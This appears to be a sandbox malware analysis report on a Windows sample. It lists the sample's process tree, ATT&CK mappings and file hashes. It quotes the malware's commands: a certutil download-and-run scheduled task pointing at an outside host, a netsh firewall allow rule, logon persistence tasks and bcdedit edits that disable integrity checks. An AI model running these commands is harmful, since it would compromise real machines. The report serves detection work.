Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	csrss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	csrss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b81400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3040000000100000010000000e4a68ac854ac5242460afd72481b2a442000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	csrss.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2188	schtasks.exe
2932	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2452	app.exe
2768	app.exe
2768	app.exe
2768	app.exe
2808	csrss.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe
2332	injector.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
476	Process not Found

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2452	app.exe
Token: SeImpersonatePrivilege	2452	app.exe
Token: SeSystemEnvironmentPrivilege	2808	csrss.exe

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 2768 wrote to memory of 2928	2768	app.exe	35
PID 2768 wrote to memory of 2928	2768	app.exe	35
PID 2768 wrote to memory of 2928	2768	app.exe	35
PID 2768 wrote to memory of 2928	2768	app.exe	35
PID 2928 wrote to memory of 2888	2928	cmd.exe	37
PID 2928 wrote to memory of 2888	2928	cmd.exe	37
PID 2928 wrote to memory of 2888	2928	cmd.exe	37
PID 2768 wrote to memory of 2808	2768	app.exe	38
PID 2768 wrote to memory of 2808	2768	app.exe	38
PID 2768 wrote to memory of 2808	2768	app.exe	38
PID 2768 wrote to memory of 2808	2768	app.exe	38
PID 2264 wrote to memory of 688	2264	patch.exe	47
PID 2264 wrote to memory of 688	2264	patch.exe	47
PID 2264 wrote to memory of 688	2264	patch.exe	47
PID 2264 wrote to memory of 1460	2264	patch.exe	49
PID 2264 wrote to memory of 1460	2264	patch.exe	49
PID 2264 wrote to memory of 1460	2264	patch.exe	49
PID 2264 wrote to memory of 928	2264	patch.exe	51
PID 2264 wrote to memory of 928	2264	patch.exe	51
PID 2264 wrote to memory of 928	2264	patch.exe	51
PID 2264 wrote to memory of 784	2264	patch.exe	53
PID 2264 wrote to memory of 784	2264	patch.exe	53
PID 2264 wrote to memory of 784	2264	patch.exe	53
PID 2264 wrote to memory of 2444	2264	patch.exe	55
PID 2264 wrote to memory of 2444	2264	patch.exe	55
PID 2264 wrote to memory of 2444	2264	patch.exe	55
PID 2264 wrote to memory of 1860	2264	patch.exe	57
PID 2264 wrote to memory of 1860	2264	patch.exe	57
PID 2264 wrote to memory of 1860	2264	patch.exe	57
PID 2264 wrote to memory of 580	2264	patch.exe	59
PID 2264 wrote to memory of 580	2264	patch.exe	59
PID 2264 wrote to memory of 580	2264	patch.exe	59
PID 2264 wrote to memory of 2568	2264	patch.exe	61
PID 2264 wrote to memory of 2568	2264	patch.exe	61
PID 2264 wrote to memory of 2568	2264	patch.exe	61
PID 2264 wrote to memory of 1084	2264	patch.exe	63
PID 2264 wrote to memory of 1084	2264	patch.exe	63
PID 2264 wrote to memory of 1084	2264	patch.exe	63
PID 2264 wrote to memory of 2172	2264	patch.exe	65
PID 2264 wrote to memory of 2172	2264	patch.exe	65
PID 2264 wrote to memory of 2172	2264	patch.exe	65
PID 2264 wrote to memory of 888	2264	patch.exe	67
PID 2264 wrote to memory of 888	2264	patch.exe	67
PID 2264 wrote to memory of 888	2264	patch.exe	67
PID 2264 wrote to memory of 1888	2264	patch.exe	69
PID 2264 wrote to memory of 1888	2264	patch.exe	69
PID 2264 wrote to memory of 1888	2264	patch.exe	69
PID 2264 wrote to memory of 268	2264	patch.exe	71
PID 2264 wrote to memory of 268	2264	patch.exe	71
PID 2264 wrote to memory of 268	2264	patch.exe	71
PID 2808 wrote to memory of 2032	2808	csrss.exe	73
PID 2808 wrote to memory of 2032	2808	csrss.exe	73
PID 2808 wrote to memory of 2032	2808	csrss.exe	73
PID 2808 wrote to memory of 2032	2808	csrss.exe	73
PID 2808 wrote to memory of 2548	2808	csrss.exe	75
PID 2808 wrote to memory of 2548	2808	csrss.exe	75
PID 2808 wrote to memory of 2548	2808	csrss.exe	75
PID 2808 wrote to memory of 2548	2808	csrss.exe	75
PID 2808 wrote to memory of 2332	2808	csrss.exe	77
PID 2808 wrote to memory of 2332	2808	csrss.exe	77
PID 2808 wrote to memory of 2332	2808	csrss.exe	77
PID 2808 wrote to memory of 2332	2808	csrss.exe	77

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\app.exe
"C:\Users\Admin\AppData\Local\Temp\app.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2452
- C:\Users\Admin\AppData\Local\Temp\app.exe
  "C:\Users\Admin\AppData\Local\Temp\app.exe"
  2⤵
  - Windows security bypass
  - Loads dropped DLL
  - Windows security modification
  - Adds Run key to start application
  - Checks for VirtualBox DLLs, possible anti-VM trick
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2768
- - C:\Windows\system32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2928
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      Modifies data under HKEY_USERS
      PID:2888
- - C:\Windows\rss\csrss.exe
    C:\Windows\rss\csrss.exe ""
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Manipulates WinMon driver.
    - Manipulates WinMonFS driver.
    - System Location Discovery: System Language Discovery
    - Modifies data under HKEY_USERS
    - Modifies system certificate store
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2808
  - - C:\Windows\system32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2188
  - - C:\Windows\system32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://spolaect.info/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2932
  - - C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
      "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Modifies system certificate store
      Suspicious use of WriteProcessMemory
      PID:2264
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:688
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1460
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:928
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:784
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:2444
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1860
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:580
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:2568
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1084
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:2172
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:888
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -timeout 0
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1888
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:268
  - - C:\Windows\system32\bcdedit.exe
      C:\Windows\Sysnative\bcdedit.exe /v
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2032
  - - C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
      4⤵
      Executes dropped EXE
      PID:2548
  - - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:2332

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20241108090848.log C:\Windows\Logs\CBS\CbsPersist_20241108090848.cab
1⤵
- Drops file in Windows directory
PID:2392

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\AAF33CF37E194E98957768CF9C02DE8E2\download.error

Filesize
8.3MB

MD5
fd2727132edd0b59fa33733daa11d9ef

SHA1
63e36198d90c4c2b9b09dd6786b82aba5f03d29a

SHA256
3a72dbedc490773f90e241c8b3b839383a63ce36426a4f330a0f754b14b4d23e

SHA512
3e251be7d0e8db92d50092a4c4be3c74f42f3d564c72981f43a8e0fe06427513bfa0f67821a61a503a4f85741f0b150280389f8f4b4f01cdfd98edce5af29e6e

Download Submit
C:\Users\Admin\AppData\Local\Temp\Symbols\winload_prod.pdb\768283CA443847FB8822F9DB1F36ECC51\download.error

Filesize
492KB

MD5
fafbf2197151d5ce947872a4b0bcbe16

SHA1
a86eaa2dd9fc6d36fcfb41df7ead8d1166aea020

SHA256
feb122b7916a1e62a7a6ae8d25ea48a2efc86f6e6384f5526e18ffbfc5f5ff71

SHA512
acbd49a111704d001a4ae44d1a071d566452f92311c5c0099d57548eddc9b3393224792c602022df5c3dd19b0a1fb4eff965bf038c8783ae109336699f9d13f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe

Filesize
94KB

MD5
d98e78fd57db58a11f880b45bb659767

SHA1
ab70c0d3bd9103c07632eeecee9f51d198ed0e76

SHA256
414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

SHA512
aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe

Filesize
281KB

MD5
d98e33b66343e7c96158444127a117f6

SHA1
bb716c5509a2bf345c6c1152f6e3e1452d39d50d

SHA256
5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1

SHA512
705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5

Download Submit
\Users\Admin\AppData\Local\Temp\dbghelp.dll

Filesize
1.5MB

MD5
f0616fa8bc54ece07e3107057f74e4db

SHA1
b33995c4f9a004b7d806c4bb36040ee844781fca

SHA256
6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

SHA512
15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe

Filesize
591KB

MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\symsrv.dll

Filesize
163KB

MD5
5c399d34d8dc01741269ff1f1aca7554

SHA1
e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

SHA256
e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

SHA512
8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

Download Submit
\Windows\rss\csrss.exe

Filesize
4.3MB

MD5
d3f680a40104a2bf44d1e55ab22cc283

SHA1
3e44293bd666ee6842f27001e561442203479698

SHA256
a5d0a8eb93516f6979ce8da08a5750bf7f0f0fc98a969cd9e5b175dd29302a86

SHA512
478c308a40b3da9697ef9925e3d8c375bdc9a51d17d401fdf947f1e9ec7b4b5b59d5aa6e5ab0857825f5dbcb398a1cfffe33f972b6841d2916329f2e2358510b

Download Submit
memory/2264-34-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/2264-42-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/2452-0-0x0000000003B30000-0x0000000003F6C000-memory.dmp

Filesize
4.2MB

Download
memory/2452-4-0x0000000000400000-0x00000000021A3000-memory.dmp

Filesize
29.6MB

Download
memory/2452-8-0x0000000000400000-0x0000000000D41000-memory.dmp

Filesize
9.3MB

Download
memory/2452-6-0x0000000003B30000-0x0000000003F6C000-memory.dmp

Filesize
4.2MB

Download
memory/2452-7-0x0000000003F70000-0x0000000004896000-memory.dmp

Filesize
9.1MB

Download
memory/2452-3-0x0000000000400000-0x0000000000D41000-memory.dmp

Filesize
9.3MB

Download
memory/2452-2-0x0000000003F70000-0x0000000004896000-memory.dmp

Filesize
9.1MB

Download
memory/2452-1-0x0000000003B30000-0x0000000003F6C000-memory.dmp

Filesize
4.2MB

Download
memory/2768-9-0x0000000000400000-0x00000000021A3000-memory.dmp

Filesize
29.6MB

Download
memory/2768-21-0x0000000000400000-0x00000000021A3000-memory.dmp

Filesize
29.6MB

Download
memory/2768-5-0x0000000003AE0000-0x0000000003F1C000-memory.dmp

Filesize
4.2MB

Download
memory/2768-10-0x0000000000400000-0x00000000021A3000-memory.dmp

Filesize
29.6MB

Download
memory/2808-105-0x0000000000400000-0x00000000021A3000-memory.dmp

Filesize
29.6MB

Download
memory/2808-107-0x0000000000400000-0x00000000021A3000-memory.dmp

Filesize
29.6MB

Download
memory/2808-53-0x0000000000400000-0x00000000021A3000-memory.dmp

Filesize
29.6MB

Download
memory/2808-99-0x0000000000400000-0x00000000021A3000-memory.dmp

Filesize
29.6MB

Download
memory/2808-69-0x0000000000400000-0x00000000021A3000-memory.dmp

Filesize
29.6MB

Download
memory/2808-68-0x0000000000400000-0x00000000021A3000-memory.dmp

Filesize
29.6MB

Download
memory/2808-106-0x0000000000400000-0x00000000021A3000-memory.dmp

Filesize
29.6MB

Download
memory/2808-20-0x00000000039F0000-0x0000000003E2C000-memory.dmp

Filesize
4.2MB

Download
memory/2808-108-0x0000000000400000-0x00000000021A3000-memory.dmp

Filesize
29.6MB

Download
memory/2808-109-0x0000000000400000-0x00000000021A3000-memory.dmp

Filesize
29.6MB

Download
memory/2808-110-0x0000000000400000-0x00000000021A3000-memory.dmp

Filesize
29.6MB

Download
memory/2808-111-0x0000000000400000-0x00000000021A3000-memory.dmp

Filesize
29.6MB

Download
memory/2808-112-0x0000000000400000-0x00000000021A3000-memory.dmp

Filesize
